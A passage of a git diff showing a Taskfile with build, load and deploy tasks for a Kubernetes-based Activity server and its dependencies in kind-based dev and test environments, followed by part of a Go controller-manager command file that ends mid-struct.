2>/dev/null || echo "unknown") + + echo "Version info: ${VERSION}, commit: ${GIT_COMMIT:0:7}, tree: ${GIT_TREE_STATE}" + + # Build using a simple Dockerfile (to be created) + if [ ! -f "Dockerfile" ]; then + echo "⚠️ Warning: Dockerfile not found - skipping container build" + echo "Please create a Dockerfile to enable container builds" + exit 1 + fi + + docker build \ + --build-arg VERSION="${VERSION}" \ + --build-arg GIT_COMMIT="${GIT_COMMIT}" \ + --build-arg GIT_TREE_STATE="${GIT_TREE_STATE}" \ + --build-arg BUILD_DATE="${BUILD_DATE}" \ + -t "{{.ACTIVITY_IMAGE_NAME}}:{{.ACTIVITY_IMAGE_TAG}}" . + echo "Successfully built {{.ACTIVITY_IMAGE_NAME}}:{{.ACTIVITY_IMAGE_TAG}}" + + dev:load: + desc: Load the Activity server container image into the kind cluster + silent: true + cmds: + - | + set -e + echo "Loading image {{.ACTIVITY_IMAGE_NAME}}:{{.ACTIVITY_IMAGE_TAG}} into kind cluster '{{.TEST_INFRA_CLUSTER_NAME}}'..." + kind load docker-image "{{.ACTIVITY_IMAGE_NAME}}:{{.ACTIVITY_IMAGE_TAG}}" --name "{{.TEST_INFRA_CLUSTER_NAME}}" + echo "Successfully loaded image into kind cluster" + + dev:build-ui: + desc: Build the Activity UI container image for development + silent: true + cmds: + - | + set -e + echo "Building Activity UI container image: {{.ACTIVITY_UI_IMAGE_NAME}}:{{.ACTIVITY_IMAGE_TAG}}" + + if [ ! -f "ui/Dockerfile" ]; then + echo "⚠️ Warning: ui/Dockerfile not found - skipping UI container build" + exit 1 + fi + + docker build \ + -t "{{.ACTIVITY_UI_IMAGE_NAME}}:{{.ACTIVITY_IMAGE_TAG}}" \ + -f ui/Dockerfile \ + ui/ + echo "Successfully built {{.ACTIVITY_UI_IMAGE_NAME}}:{{.ACTIVITY_IMAGE_TAG}}" + + dev:load-ui: + desc: Load the Activity UI container image into the kind cluster + silent: true + cmds: + - | + set -e + echo "Loading image {{.ACTIVITY_UI_IMAGE_NAME}}:{{.ACTIVITY_IMAGE_TAG}} into kind cluster '{{.TEST_INFRA_CLUSTER_NAME}}'..." + kind load docker-image "{{.ACTIVITY_UI_IMAGE_NAME}}:{{.ACTIVITY_IMAGE_TAG}}" --name "{{.TEST_INFRA_CLUSTER_NAME}}" + echo "Successfully loaded UI image into kind cluster" + + # ============================================================ + # Lightweight Dev Environment (single-replica, minimal resources) + # ============================================================ + dev:setup: + desc: Setup lightweight dev environment (single-replica ClickHouse, minimal resources) + silent: true + cmds: + - task: test-infra:cluster-up + - task: test-infra:install-observability + - task: dev:install-dependencies-minimal + - task: dev:build + - task: dev:load + - task: dev:build-ui + - task: dev:load-ui + - task: dev:deploy + - task: observability:deploy + + dev:install-dependencies-minimal: + desc: Install minimal infrastructure dependencies for dev (no RustFS) + silent: true + cmds: + - | + set -e + echo "📦 Installing minimal infrastructure dependencies for dev..." + echo "" + + # ============================================================ + # Install ClickHouse Operator + # ============================================================ + echo "📦 Installing ClickHouse operator via Flux HelmRelease..." + + echo "Applying Flux HelmRelease for ClickHouse operator..." + task test-infra:kubectl -- apply -k config/dependencies/clickhouse-operator + + echo "Waiting for operator HelmRelease to be ready..." + task test-infra:kubectl -- wait --for=condition=ready helmrelease/clickhouse-operator -n clickhouse-system --timeout=300s 2>/dev/null || echo "⚠️ HelmRelease not ready yet (may need Flux installed)" + + echo "Waiting for operator deployment to be ready..." + task test-infra:kubectl -- wait --for=condition=available deployment/clickhouse-operator -n clickhouse-system --timeout=120s 2>/dev/null || echo "⚠️ Operator deployment not ready yet" + + echo "✅ ClickHouse operator installed" + echo "" + + # ============================================================ + # Install NATS + # ============================================================ + echo "📦 Installing NATS for event streaming..." + + echo "Applying NATS resources..." + task test-infra:kubectl -- apply -k config/dependencies/nats + + echo "Waiting for NATS namespace to be created..." + task test-infra:kubectl -- wait --for=jsonpath='{.status.phase}'=Active namespace/nats-system --timeout=30s 2>/dev/null || echo "⚠️ Namespace not ready yet" + + echo "Waiting for NATS HelmRelease to be ready..." + task test-infra:kubectl -- wait --for=condition=ready helmrelease/nats -n nats-system --timeout=300s 2>/dev/null || echo "⚠️ NATS HelmRelease not ready yet (may need Flux installed)" + + echo "Waiting for NATS pods to be ready..." + task test-infra:kubectl -- wait --for=condition=ready pod -l app.kubernetes.io/name=nats -n nats-system --timeout=120s 2>/dev/null || echo "⚠️ NATS pods not ready yet" + + echo "✅ NATS installed" + echo "" + + # Note: RustFS is NOT installed for dev - we use local disk for storage + # Note: etcd is deployed as part of the dev overlay (not as a dependency) + echo "ℹ️ Skipping RustFS (dev uses local disk for ClickHouse storage)" + echo "" + + echo "✅ Minimal infrastructure dependencies installed!" + echo "" + + dev:deploy: + desc: Deploy Activity server using dev overlay (lightweight, non-HA) + silent: true + cmds: + - | + set -e + echo "🚀 Deploying Activity server (dev overlay - lightweight)..." + + # Check if deployment manifests exist + if [ ! -d "config" ]; then + echo "⚠️ Warning: config directory not found" + exit 1 + fi + + echo "📋 Deploying Activity server (dev overlay)..." + task test-infra:kubectl -- apply -k config/overlays/dev + + echo "⏳ Waiting for etcd to be ready..." + task test-infra:kubectl -- wait --for=condition=ready helmrelease/etcd -n activity-system --timeout=300s 2>/dev/null || echo "⚠️ etcd HelmRelease not ready yet" + task test-infra:kubectl -- wait --for=condition=ready pod -l app.kubernetes.io/name=etcd -n activity-system --timeout=120s 2>/dev/null || echo "⚠️ etcd pods not ready yet" + + echo "⏳ Waiting for NATS streams to be ready..." + task test-infra:kubectl -- wait --for=condition=ready stream/audit-events -n activity-system --timeout=60s 2>/dev/null || echo "⚠️ audit-events stream not ready yet" + task test-infra:kubectl -- wait --for=condition=ready stream/activities -n activity-system --timeout=60s 2>/dev/null || echo "⚠️ activities stream not ready yet" + task test-infra:kubectl -- wait --for=condition=ready stream/events -n activity-system --timeout=60s 2>/dev/null || echo "⚠️ events stream not ready yet (needed for Watch API)" + + echo "" + echo "⏳ Waiting for ClickHouse Keeper to be ready..." + task test-infra:kubectl -- wait --for=condition=ready pod -l clickhouse-keeper.altinity.com/chk=activity-keeper -n activity-system --timeout=180s || echo "⚠️ ClickHouse Keeper pods not ready yet" + + echo "⏳ Waiting for ClickHouse to be ready..." + task test-infra:kubectl -- wait --for=jsonpath='{.status.status}'=Completed clickhouseinstallation -n activity-system activity-clickhouse --timeout=180s 2>/dev/null || echo "⚠️ ClickHouse Installation not completed" + task test-infra:kubectl -- wait --for=condition=ready pod -l clickhouse.altinity.com/chi=activity-clickhouse -n activity-system --timeout=180s || echo "⚠️ ClickHouse pods not ready yet" + + echo "⏳ Waiting for ClickHouse migrations to complete..." + task test-infra:kubectl -- wait --for=condition=complete job/clickhouse-migrate -n activity-system --timeout=120s 2>/dev/null || echo "⚠️ Migration job not complete yet" + + echo "⏳ Waiting for Activity server to be ready..." + task test-infra:kubectl -- wait --for=condition=ready pod -l app=activity-apiserver -n activity-system --timeout=120s || echo "⚠️ API server pods not ready yet" + + echo "⏳ Waiting for Activity APIService to be available..." + task test-infra:kubectl -- wait --for=condition=Available apiservice/v1alpha1.activity.miloapis.com --timeout=120s || echo "⚠️ APIService not available yet" + + echo "⏳ Waiting for Vector aggregator to be ready..." + task test-infra:kubectl -- wait --for=condition=ready pod -l app.kubernetes.io/instance=vector-aggregator -n activity-system --timeout=120s 2>/dev/null || echo "⚠️ Vector aggregator pods not ready yet" + + echo "" + echo "📋 Installing example ActivityPolicies for basic Kubernetes resources..." + task test-infra:kubectl -- apply -k examples/basic-kubernetes/ + + echo "" + echo "✅ Activity server deployed (dev overlay)!" + echo "" + echo "📊 Check status:" + echo " All resources: task test-infra:kubectl -- get all -n activity-system" + echo " API server pods: task test-infra:kubectl -- get pods -l app=activity-apiserver -n activity-system" + echo " ClickHouse pods: task test-infra:kubectl -- get pods -l clickhouse.altinity.com/chi=activity-clickhouse -n activity-system" + echo " ActivityPolicies: task test-infra:kubectl -- get activitypolicies" + echo "" + echo "📋 View logs:" + echo " API server: task test-infra:kubectl -- logs -l app=activity-apiserver -n activity-system -f" + echo " ClickHouse: task test-infra:kubectl -- logs -l clickhouse.altinity.com/chi=activity-clickhouse -n activity-system -f" + echo "" + + dev:redeploy: + desc: Quick rebuild and redeploy for dev environment + deps: + - dev:build + - dev:load + - dev:build-ui + - dev:load-ui + cmds: + - | + set -e + echo "Redeploying Activity server and UI (dev)..." + + # Restart all activity deployments to pick up new image + task test-infra:kubectl -- rollout restart -n activity-system deployment/activity-apiserver || echo "⚠️ Deployment not found, run 'task dev:deploy' first" + task test-infra:kubectl -- rollout restart -n activity-system deployment/activity-processor || echo "⚠️ activity-processor deployment not found" + task test-infra:kubectl -- rollout restart -n activity-system deployment/activity-controller-manager || echo "⚠️ activity-controller-manager deployment not found" + task test-infra:kubectl -- rollout restart -n activity-system deployment/activity-ui || echo "⚠️ activity-ui deployment not found" + + # Wait for rollouts to complete + echo "Waiting for rollouts to complete..." + task test-infra:kubectl -- rollout status -n activity-system deployment/activity-apiserver --timeout=120s || true + task test-infra:kubectl -- rollout status -n activity-system deployment/activity-processor --timeout=120s || true + task test-infra:kubectl -- rollout status -n activity-system deployment/activity-controller-manager --timeout=120s || true + task test-infra:kubectl -- rollout status -n activity-system deployment/activity-ui --timeout=120s || true + + echo "✅ Redeployment complete!" + echo "Check logs with: task test-infra:kubectl -- logs -l app=activity-apiserver -n activity-system -f" + silent: true + + # ============================================================ + # Test Environment (full HA setup with RustFS) + # ============================================================ + test:setup: + desc: Setup full test environment with HA ClickHouse (3 replicas), S3 storage, and all components + silent: true + cmds: + - task: test-infra:cluster-up + - task: test-infra:install-observability + - task: test:install-dependencies + - task: dev:build + - task: dev:load + - task: dev:build-ui + - task: dev:load-ui + - task: test:deploy + - task: observability:deploy + + test:install-dependencies: + desc: Install all infrastructure dependencies for test environment (includes RustFS) + silent: true + cmds: + - | + set -e + echo "📦 Installing infrastructure dependencies..." + echo "" + + # ============================================================ + # Install ClickHouse Operator + # ============================================================ + echo "📦 Installing ClickHouse operator via Flux HelmRelease..." + + echo "Applying Flux HelmRelease for ClickHouse operator..." + task test-infra:kubectl -- apply -k config/dependencies/clickhouse-operator + + echo "Waiting for operator HelmRelease to be ready..." + task test-infra:kubectl -- wait --for=condition=ready helmrelease/clickhouse-operator -n clickhouse-system --timeout=300s 2>/dev/null || echo "⚠️ HelmRelease not ready yet (may need Flux installed)" + + echo "Waiting for operator deployment to be ready..." + task test-infra:kubectl -- wait --for=condition=available deployment/clickhouse-operator -n clickhouse-system --timeout=120s 2>/dev/null || echo "⚠️ Operator deployment not ready yet" + + echo "✅ ClickHouse operator installed" + echo "" + + # ============================================================ + # Install NATS + # ============================================================ + echo "📦 Installing NATS for event streaming..." + + echo "Applying NATS resources..." + task test-infra:kubectl -- apply -k config/dependencies/nats + + echo "Waiting for NATS namespace to be created..." + task test-infra:kubectl -- wait --for=jsonpath='{.status.phase}'=Active namespace/nats-system --timeout=30s 2>/dev/null || echo "⚠️ Namespace not ready yet" + + echo "Waiting for NATS HelmRelease to be ready..." + task test-infra:kubectl -- wait --for=condition=ready helmrelease/nats -n nats-system --timeout=300s 2>/dev/null || echo "⚠️ NATS HelmRelease not ready yet (may need Flux installed)" + + echo "Waiting for NATS pods to be ready..." + task test-infra:kubectl -- wait --for=condition=ready pod -l app.kubernetes.io/name=nats -n nats-system --timeout=120s 2>/dev/null || echo "⚠️ NATS pods not ready yet" + + echo "✅ NATS installed" + echo "" + + # Note: NACK controller is now installed as part of NATS dependencies kustomization above + # Stream configurations will be deployed as part of test:deploy step + + # ============================================================ + # Install RustFS for S3-compatible object storage + # ============================================================ + echo "📦 Installing RustFS for S3-compatible object storage..." + + echo "Applying RustFS resources..." + task test-infra:kubectl -- apply -k config/dependencies/rustfs + + echo "Waiting for rustfs-system namespace to be created..." + task test-infra:kubectl -- wait --for=jsonpath='{.status.phase}'=Active namespace/rustfs-system --timeout=30s 2>/dev/null || echo "⚠️ Namespace not ready yet" + + echo "Waiting for RustFS HelmRelease to be ready..." + task test-infra:kubectl -- wait --for=condition=ready helmrelease/rustfs -n rustfs-system --timeout=300s 2>/dev/null || echo "⚠️ RustFS HelmRelease not ready yet (may need Flux installed)" + + echo "Waiting for RustFS deployment to be ready..." + task test-infra:kubectl -- wait --for=condition=available deployment/rustfs -n rustfs-system --timeout=180s 2>/dev/null || echo "⚠️ RustFS deployment not ready yet" + + echo "✅ RustFS storage installed" + echo "" + + # ============================================================ + # Summary + # ============================================================ + echo "✅ All infrastructure dependencies installed successfully!" + echo "" + echo "📊 Check status:" + echo " ClickHouse operator: task test-infra:kubectl -- get pods -n clickhouse-system" + echo " NATS: task test-infra:kubectl -- get pods -n nats-system" + echo " NACK controller: task test-infra:kubectl -- get pods -n nats-system -l app.kubernetes.io/name=nack" + echo " RustFS: task test-infra:kubectl -- get pods -n rustfs-system" + echo "" + echo "📋 HelmRelease status:" + echo " task test-infra:kubectl -- get helmrelease -n clickhouse-system" + echo " task test-infra:kubectl -- get helmrelease -n nats-system" + echo " task test-infra:kubectl -- get helmrelease -n rustfs-system" + echo "" + echo "Note: JetStream stream configurations and S3 bucket will be deployed with the Activity server." + echo "" + + test:deploy: + desc: Deploy Activity server using test-infra overlay (full HA with 3 replicas) + silent: true + cmds: + - | + set -e + echo "🚀 Deploying Activity server (test-infra overlay - full HA)..." + + # Check if deployment manifests exist + if [ ! -d "config" ]; then + echo "⚠️ Warning: config directory not found" + exit 1 + fi + + echo "📋 Deploying Activity server and components (test-infra overlay)..." + task test-infra:kubectl -- apply -k config/overlays/test-infra + + echo "⏳ Waiting for etcd to be ready..." + task test-infra:kubectl -- wait --for=condition=ready helmrelease/etcd -n activity-system --timeout=300s 2>/dev/null || echo "⚠️ etcd HelmRelease not ready yet" + task test-infra:kubectl -- wait --for=condition=ready pod -l app.kubernetes.io/name=etcd -n activity-system --timeout=120s 2>/dev/null || echo "⚠️ etcd pods not ready yet" + + echo "⏳ Waiting for NATS streams to be ready..." + task test-infra:kubectl -- wait --for=condition=ready stream/audit-events -n activity-system --timeout=60s 2>/dev/null || echo "⚠️ audit-events stream not ready yet" + task test-infra:kubectl -- wait --for=condition=ready stream/activities -n activity-system --timeout=60s 2>/dev/null || echo "⚠️ activities stream not ready yet" + task test-infra:kubectl -- wait --for=condition=ready stream/events -n activity-system --timeout=60s 2>/dev/null || echo "⚠️ events stream not ready yet (needed for Watch API)" + + echo "" + echo "⏳ Waiting for RustFS bucket initialization..." + task test-infra:kubectl -- wait --for=condition=complete job/rustfs-bucket-init -n activity-system --timeout=120s 2>/dev/null || echo "⚠️ Bucket initialization not complete yet" + + echo "⏳ Waiting for ClickHouse Keeper to be ready..." + task test-infra:kubectl -- wait --for=condition=ready pod -l clickhouse-keeper.altinity.com/chk=activity-keeper -n activity-system --timeout=180s || echo "⚠️ ClickHouse Keeper pods not ready yet" + + echo "⏳ Waiting for ClickHouse to be ready..." + task test-infra:kubectl -- wait --for=jsonpath='{.status.status}'=Completed clickhouseinstallation -n activity-system activity-clickhouse --timeout=180s 2>/dev/null || echo "⚠️ ClickHouse Installation not completed" + task test-infra:kubectl -- wait --for=condition=ready pod -l clickhouse.altinity.com/chi=activity-clickhouse -n activity-system --timeout=180s || echo "⚠️ ClickHouse pods not ready yet" + + echo "⏳ Waiting for ClickHouse migrations to complete..." + task test-infra:kubectl -- wait --for=condition=complete job/clickhouse-migrate -n activity-system --timeout=120s 2>/dev/null || echo "⚠️ Migration job not complete yet" + + echo "⏳ Waiting for Activity server to be ready..." + task test-infra:kubectl -- wait --for=condition=ready pod -l app=activity-apiserver -n activity-system --timeout=120s || echo "⚠️ API server pods not ready yet" + + echo "⏳ Waiting for Vector aggregator to be ready..." + task test-infra:kubectl -- wait --for=condition=ready pod -l app.kubernetes.io/instance=vector-aggregator -n activity-system --timeout=120s 2>/dev/null || echo "⚠️ Vector aggregator pods not ready yet" + + echo "" + echo "⏳ Waiting for Grafana ClickHouse datasource to be synced..." + sleep 5 + task test-infra:kubectl -- wait --for=condition=DatasourceSynchronized grafanadatasource/clickhouse-datasource -n activity-system --timeout=60s 2>/dev/null || echo "⚠️ Datasource not synced yet (may need to restart Grafana pod for plugin to load)" + + echo "" + echo "📋 Installing example ActivityPolicies for basic Kubernetes resources..." + task test-infra:kubectl -- apply -k examples/basic-kubernetes/ + + echo "" + echo "✅ Activity server deployed (test-infra overlay - full HA)!" + echo "" + echo "📊 Check status:" + echo " All resources: task test-infra:kubectl -- get all -n activity-system" + echo " API server pods: task test-infra:kubectl -- get pods -l app=activity-apiserver -n activity-system" + echo " ClickHouse pods: task test-infra:kubectl -- get pods -l clickhouse.altinity.com/chi=activity-clickhouse -n activity-system" + echo " Vector pods: task test-infra:kubectl -- get pods -l app.kubernetes.io/instance=vector-aggregator -n activity-system" + echo " NATS pods: task test-infra:kubectl -- get pods -n nats-system" + echo " NATS streams: task test-infra:kubectl -- get streams -n activity-system" + echo " S3 bucket: task test-infra:kubectl -- get objectbucketclaim -n activity-system" + echo " API service: kubectl get apiservice v1alpha1.activity.miloapis.com" + echo " Grafana datasrc: task test-infra:kubectl -- get grafanadatasource clickhouse-datasource -n activity-system" + echo " ActivityPolicies: task test-infra:kubectl -- get activitypolicies" + echo "" + echo "📋 View logs:" + echo " API server: task test-infra:kubectl -- logs -l app=activity-apiserver -n activity-system -f" + echo " ClickHouse: task test-infra:kubectl -- logs -l clickhouse.altinity.com/chi=activity-clickhouse -n activity-system -f" + echo " Vector: task test-infra:kubectl -- logs -l app.kubernetes.io/instance=vector-aggregator -n activity-system -f" + echo " NATS: task test-infra:kubectl -- logs -l app.kubernetes.io/name=nats -n nats-system -f" + echo "" + echo "📊 Observability:" + echo " Access Grafana: task test-infra:kubectl -- port-forward -n telemetry-system svc/grafana-service 3000:3000" + echo " Grafana URL: http://localhost:3000 (admin / datum123)" + echo " Verify datasource: task test-infra:kubectl -- get grafanadatasource -n activity-system" + echo "" + + test:redeploy: + desc: Quick rebuild and redeploy for test environment + deps: + - dev:build + - dev:load + cmds: + - | + set -e + echo "Redeploying Activity server (test)..." + + # Restart all activity deployments to pick up new image + task test-infra:kubectl -- rollout restart -n activity-system deployment/activity-apiserver || echo "⚠️ Deployment not found, run 'task test:deploy' first" + task test-infra:kubectl -- rollout restart -n activity-system deployment/activity-processor || echo "⚠️ activity-processor deployment not found" + task test-infra:kubectl -- rollout restart -n activity-system deployment/activity-controller-manager || echo "⚠️ activity-controller-manager deployment not found" + + # Wait for rollouts to complete + echo "Waiting for rollouts to complete..." + task test-infra:kubectl -- rollout status -n activity-system deployment/activity-apiserver --timeout=120s || true + task test-infra:kubectl -- rollout status -n activity-system deployment/activity-processor --timeout=120s || true + task test-infra:kubectl -- rollout status -n activity-system deployment/activity-controller-manager --timeout=120s || true + + echo "✅ Redeployment complete!" + echo "Check logs with: task test-infra:kubectl -- logs -l app=activity-apiserver -n activity-system -f" + silent: true + + # ============================================================ + # Telepresence for remote debugging + # ============================================================ + # Telepresence tasks are now provided by test-infra: + # task test-infra:telepresence:install - Install CLI + # task test-infra:telepresence:connect - Connect to cluster + # task test-infra:telepresence:intercept - Intercept service (SERVICE=name NAMESPACE=ns PORT=port) + # task test-infra:telepresence:status - Show status + # task test-infra:telepresence:quit - Disconnect + + # ============================================================ + # UI Development + # ============================================================ + ui:dev: + desc: Run the Activity UI example app locally with hot-reload + dir: ui/example + cmds: + - | + set -e + echo "🚀 Starting Activity UI dev server..." + echo "" + echo "The example app imports directly from ui/src/ for hot-reload." + echo "Changes to ui/src/ will automatically update in the browser." + echo "" + npm run dev + + ui:build: + desc: Build the Activity UI component library + dir: ui + cmds: + - | + set -e + echo "📦 Building Activity UI component library..." + npm run build + echo "✅ Library built to ui/dist/" + + ui:type-check: + desc: Type-check the Activity UI component library + dir: ui + cmds: + - npm run type-check + + ui:lint: + desc: Lint the Activity UI component library + dir: ui + cmds: + - npm run lint + + # OpenAPI code generation + generate:openapi: + desc: Generate Kubernetes OpenAPI definitions + cmds: + - | + set -e + echo "🔄 Generating Kubernetes OpenAPI definitions..." + ./hack/update-codegen.sh + echo "✅ OpenAPI generation complete" + silent: true + + # RBAC generation from kubebuilder annotations + generate:rbac: + desc: Generate RBAC manifests from kubebuilder annotations + cmds: + - | + set -e + echo "🔄 Generating RBAC manifests from kubebuilder annotations..." + ./hack/generate-rbac.sh + echo "✅ RBAC generation complete" + silent: true + + # API documentation generation + generate:docs: + desc: Generate API reference documentation + cmds: + - | + set -e + echo "🔄 Generating API reference documentation..." + chmod +x ./hack/generate-api-docs.sh + ./hack/generate-api-docs.sh + echo "✅ API documentation generation complete" + silent: true + + # Architecture diagram tasks + diagrams: + desc: Generate architecture diagrams from PlantUML + cmds: + - task: docs:diagrams + silent: true + + # Unified code generation task - composes all generate:* subtasks + generate: + desc: Run all code generation tasks (OpenAPI, RBAC, migrations ConfigMap, API docs, diagrams, k6 tests, etc.) + deps: + - generate:openapi + - generate:rbac + - migrations:generate + - load:generate + - observability:build-mixin + - generate:docs + - docs:generate + cmds: + - | + echo "" + echo "🎉 All code generation complete!" + echo "" + echo "Generated files:" + echo " - pkg/generated/openapi/zz_generated.openapi.go" + echo " - config/base/generated/controller-manager-rbac.yaml" + echo " - config/components/clickhouse-migrations/configmap.yaml" + echo " - config/components/k6-performance-tests/generated/query-load-test.js" + echo " - docs/api.md" + echo "" + echo "Next steps:" + echo " - Review generated files" + echo " - Commit: git add pkg/ config/ docs/ && git commit -m 'chore: regenerate code and docs'" + silent: true + + # ============================================================ + # E2E Testing with Chainsaw + # ============================================================ + e2e: + desc: Run chainsaw e2e tests + cmds: + - chainsaw test test/e2e/ --config test/e2e/chainsaw-test.yaml + silent: false + + e2e:named-rules: + desc: Run named rules e2e tests only + cmds: + - chainsaw test test/e2e/activitypolicy/named-rules/ + silent: false diff --git a/cmd/activity/controller_manager.go b/cmd/activity/controller_manager.go index e2faba02..a3938cfb 100644 --- a/cmd/activity/controller_manager.go +++ b/cmd/activity/controller_manager.go @@ -1,316 +1,316 @@ -package main - -import ( - "context" - "crypto/tls" - "crypto/x509" - "fmt" - "os" - "strings" - - "github.com/nats-io/nats.go" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - corev1 "k8s.io/api/core/v1" - utilfeature "k8s.io/apiserver/pkg/util/feature" - "k8s.io/client-go/rest" - "k8s.io/client-go/tools/clientcmd" - logsapi "k8s.io/component-base/logs/api/v1" - "k8s.io/klog/v2" - ctrl "sigs.k8s.io/controller-runtime" - "sigs.k8s.io/controller-runtime/pkg/client" - - "go.miloapis.com/activity/internal/controller" -) - -// ControllerManagerOptions contains configuration for the controller manager. -type ControllerManagerOptions struct { - Kubeconfig string - JobKubeconfig string - MasterURL string - Workers int - MetricsAddr string - HealthProbeAddr string - - // NATS configuration (required) - NATSURL string - NATSTLSEnabled bool - NATSTLSCertFile string - NATSTLSKeyFile string - NATSTLSCAFile string - - // ReindexJob configuration - ReindexJobNamespace string - ReindexServiceAccount string - ReindexMemoryLimit string - ReindexCPULimit string - MaxConcurrentReindexJobs int - ActivityImage string - - // JobTemplateConfigMap specifies the ConfigMap containing the Job template. - // Format: namespace/name. If not set, a default template is used. - JobTemplateConfigMap string - - Logs *logsapi.LoggingConfiguration -} - -// NewControllerManagerOptions creates options with default values. -func NewControllerManagerOptions() *ControllerManagerOptions { - return &ControllerManagerOptions{ - Logs: logsapi.NewLoggingConfiguration(), - Workers: 2, - MetricsAddr: ":8080", - HealthProbeAddr: ":8081", - ReindexJobNamespace: "activity-system", - ReindexServiceAccount: "activity-reindex-worker", - ReindexMemoryLimit: "2Gi", - ReindexCPULimit: "1000m", - MaxConcurrentReindexJobs: 1, - ActivityImage: "ghcr.io/datum-cloud/activity:latest", - } -} - -// AddFlags adds controller manager flags to the command. -func (o *ControllerManagerOptions) AddFlags(fs *pflag.FlagSet) { - fs.StringVar(&o.Kubeconfig, "kubeconfig", o.Kubeconfig, - "Path to a kubeconfig file for Milo API server. Only required if out-of-cluster.") - fs.StringVar(&o.JobKubeconfig, "job-kubeconfig", o.JobKubeconfig, - "Path to a kubeconfig file for infrastructure cluster where Jobs run. If not set, uses --kubeconfig or in-cluster config.") - fs.StringVar(&o.MasterURL, "master", o.MasterURL, - "The address of the Kubernetes API server. Overrides any value in kubeconfig.") - fs.IntVar(&o.Workers, "workers", o.Workers, - "Number of worker threads for the controller.") - fs.StringVar(&o.MetricsAddr, "metrics-addr", o.MetricsAddr, - "The address to bind the metrics endpoint.") - fs.StringVar(&o.HealthProbeAddr, "health-probe-addr", o.HealthProbeAddr, - "The address to bind the health probe endpoint.") - - // NATS flags (required) - fs.StringVar(&o.NATSURL, "nats-url", o.NATSURL, - "NATS server URL (e.g., nats://localhost:4222). Required.") - fs.BoolVar(&o.NATSTLSEnabled, "nats-tls-enabled", o.NATSTLSEnabled, - "Enable TLS for NATS connection.") - fs.StringVar(&o.NATSTLSCertFile, "nats-tls-cert-file", o.NATSTLSCertFile, - "Path to client certificate file for NATS TLS.") - fs.StringVar(&o.NATSTLSKeyFile, "nats-tls-key-file", o.NATSTLSKeyFile, - "Path to client private key file for NATS TLS.") - fs.StringVar(&o.NATSTLSCAFile, "nats-tls-ca-file", o.NATSTLSCAFile, - "Path to CA certificate file for NATS TLS.") - - // ReindexJob flags - fs.StringVar(&o.ReindexJobNamespace, "reindex-job-namespace", o.ReindexJobNamespace, - "Namespace where ReindexJob worker Jobs are created.") - fs.StringVar(&o.ReindexServiceAccount, "reindex-service-account", o.ReindexServiceAccount, - "ServiceAccount for ReindexJob worker pods.") - fs.StringVar(&o.ReindexMemoryLimit, "reindex-memory-limit", o.ReindexMemoryLimit, - "Memory limit for ReindexJob worker pods (e.g., 2Gi).") - fs.StringVar(&o.ReindexCPULimit, "reindex-cpu-limit", o.ReindexCPULimit, - "CPU limit for ReindexJob worker pods (e.g., 1000m).") - fs.IntVar(&o.MaxConcurrentReindexJobs, "max-concurrent-reindex-jobs", o.MaxConcurrentReindexJobs, - "Maximum number of concurrent ReindexJobs allowed.") - fs.StringVar(&o.ActivityImage, "activity-image", o.ActivityImage, - "Container image for activity binary used by ReindexJob workers.") - fs.StringVar(&o.JobTemplateConfigMap, "reindex-job-template-configmap", o.JobTemplateConfigMap, - "ConfigMap containing the Job template for reindex workers (format: namespace/name). "+ - "The ConfigMap should have a 'template.yaml' key with a PodTemplateSpec. "+ - "If not set, a default template is used.") - - logsapi.AddFlags(o.Logs, fs) -} - -// NewControllerManagerCommand creates the controller-manager subcommand. -func NewControllerManagerCommand() *cobra.Command { - options := NewControllerManagerOptions() - - cmd := &cobra.Command{ - Use: "controller-manager", - Short: "Run the controller manager", - Long: `Run the controller manager that watches for changes to Activity resources -and reconciles the desired state. This includes managing ActivityPolicy resources -and ensuring consistent state across the cluster.`, - RunE: func(cmd *cobra.Command, args []string) error { - if err := logsapi.ValidateAndApply(options.Logs, utilfeature.DefaultMutableFeatureGate); err != nil { - return fmt.Errorf("failed to apply logging configuration: %w", err) - } - ctrl.SetLogger(klog.NewKlogr()) - return RunControllerManager(options) - }, - } - - options.AddFlags(cmd.Flags()) - - return cmd -} - -// RunControllerManager starts the controller manager. -func RunControllerManager(options *ControllerManagerOptions) error { - // Validate required flags - if options.NATSURL == "" { - return fmt.Errorf("--nats-url is required") - } - - klog.Info("Starting Activity Controller Manager") - - // Build the client configuration for Milo API server (ReindexJob, ActivityPolicy) - var config *rest.Config - var err error - - if options.Kubeconfig != "" { - config, err = clientcmd.BuildConfigFromFlags(options.MasterURL, options.Kubeconfig) - } else { - config, err = rest.InClusterConfig() - } - if err != nil { - return fmt.Errorf("failed to build config for Milo API server: %w", err) - } - - // Build the client configuration for infrastructure cluster (Jobs) - // Priority: --job-kubeconfig > in-cluster config > same as main config - var jobConfig *rest.Config - if options.JobKubeconfig != "" { - // Use explicit kubeconfig for Job operations - jobConfig, err = clientcmd.BuildConfigFromFlags("", options.JobKubeconfig) - if err != nil { - return fmt.Errorf("failed to build config from --job-kubeconfig: %w", err) - } - klog.Info("Using explicit kubeconfig for Job operations", "path", options.JobKubeconfig) - } else if inClusterConfig, inClusterErr := rest.InClusterConfig(); inClusterErr == nil { - // Running in a cluster - use in-cluster config for Jobs - // This allows the controller to create Jobs in the infrastructure cluster - // while connecting to Milo for ReindexJob CRs - jobConfig = inClusterConfig - klog.Info("Using in-cluster config for Job operations") - } else { - // Not in a cluster and no --job-kubeconfig - use same config as main client - // This is the typical dev environment scenario - jobConfig = config - klog.Info("Using same kubeconfig for Job operations (dev mode)") - } - - // Create a client for Job operations - jobClient, err := client.New(jobConfig, client.Options{ - Scheme: controller.Scheme, - }) - if err != nil { - return fmt.Errorf("failed to create Job client: %w", err) - } - - // Load Job template from ConfigMap if specified - var jobTemplate *corev1.PodTemplateSpec - if options.JobTemplateConfigMap != "" { - namespace, name, parseErr := parseNamespacedName(options.JobTemplateConfigMap) - if parseErr != nil { - return fmt.Errorf("invalid --reindex-job-template-configmap value: %w", parseErr) - } - - ctx := context.Background() - jobTemplate, err = controller.LoadJobTemplate(ctx, jobClient, namespace, name) - if err != nil { - return fmt.Errorf("failed to load job template: %w", err) - } - klog.Info("Loaded job template from ConfigMap", "namespace", namespace, "name", name) - } - - managerOpts := controller.ManagerOptions{ - Workers: options.Workers, - MetricsAddr: options.MetricsAddr, - HealthProbeAddr: options.HealthProbeAddr, - JobClient: jobClient, - ReindexJobNamespace: options.ReindexJobNamespace, - ReindexServiceAccount: options.ReindexServiceAccount, - ReindexMemoryLimit: options.ReindexMemoryLimit, - ReindexCPULimit: options.ReindexCPULimit, - MaxConcurrentReindexJobs: options.MaxConcurrentReindexJobs, - ActivityImage: options.ActivityImage, - JobTemplate: jobTemplate, - 